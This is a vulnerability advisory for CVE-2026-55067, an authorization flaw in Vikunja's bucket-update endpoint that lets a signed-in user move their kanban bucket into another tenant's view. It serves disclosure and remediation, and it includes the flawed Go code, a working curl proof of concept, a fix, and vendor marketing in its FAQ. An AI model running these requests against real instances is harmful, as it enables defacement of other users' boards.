Summary
Vikunja vulnerable to authenticated cross-tenant kanban-bucket relocation via projectviewid mass-assignment
POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} mass-assigns the request body's project_view_id onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied (project, view) pair; the body's project_view_id is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as created_by.
This vulnerability was found using an LLM, and manually verified against latest (2.3.0).
Vulnerable code
pkg/models/kanban.go (lines 348-359):
func (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) {
_, err = s.
Where("id = ?", b.ID).
Cols(
"title",
"limit",
"position",
"project_view_id", // mass-assigned from the request body
).
Update(b)
return
}
Bucket.CanUpdate (canDoBucket) only validates that the URL-supplied {bucket} belongs to the URL-supplied {project}/{view}. The body's project_view_id reaches Update unchecked and is written through.
Proof of Concept
Prerequisites: Two registered users (attacker and victim). In the IDs below: attacker's project is 2, kanban view 8; victim's project is 1, kanban view 4.
Step 1: Attacker creates a fresh bucket in their own project.
curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \
-H 'Authorization: Bearer <attacker_token>' \
-H 'Content-Type: application/json' \
-d '{"title":"PWNED BUCKET"}' | jq '.id'
# Returns: 7
Step 2: Attacker updates bucket 7, supplying project_view_id = victim's view ID. The URL chain is the attacker's, so CanUpdate passes; the body field is written through without further checks.
curl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \
-H 'Authorization: Bearer <attacker_token>' \
-H 'Content-Type: application/json' \
-d '{"title":"PWNED BUCKET","limit":0,"project_view_id":4}' | jq '{id,title,project_view_id}'
# Returns: {
# "id": 7,
# "title": "PWNED BUCKET",
# "project_view_id": 4
# }
Step 3: Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.
curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \
-H 'Authorization: Bearer <victim_token>' | jq '[.[]|{id,title,created_by:.created_by.username}]'
# Returns: [
# {"id":7,"title":"PWNED BUCKET","created_by":"attacker"},
# {"id":1,"title":"To-Do","created_by":"victim"},
# {"id":2,"title":"Doing","created_by":"victim"},
# {"id":3,"title":"Done","created_by":"victim"}
# ]
After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. project_view_id is a sequential integer, so any tenant's view can be targeted by enumeration.
Impact
Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.
CVE-2026-55067 has a CVSS score of 5.0 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.4.0); upgrading removes the vulnerable code path.
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In (b *Bucket) Update, drop project_view_id from the Cols(...) allowlist (mass-assignment fix) and reject body payloads where project_view_id != bucket.ProjectViewID. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls CanUpdate against both the source and destination view.
Frequently Asked Questions
- What is CVE-2026-55067? CVE-2026-55067 is a medium-severity security vulnerability in code.vikunja.io/api (go), affecting versions <= 2.3.0. It is fixed in 2.4.0.
- How severe is CVE-2026-55067? CVE-2026-55067 has a CVSS score of 5.0 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of code.vikunja.io/api are affected by CVE-2026-55067? code.vikunja.io/api (go) versions <= 2.3.0 is affected.
- Is there a fix for CVE-2026-55067? Yes. CVE-2026-55067 is fixed in 2.4.0. Upgrade to this version or later.
- Is CVE-2026-55067 exploitable, and should I be worried? Whether CVE-2026-55067 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55067 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55067? Upgrade
code.vikunja.io/apito 2.4.0 or later.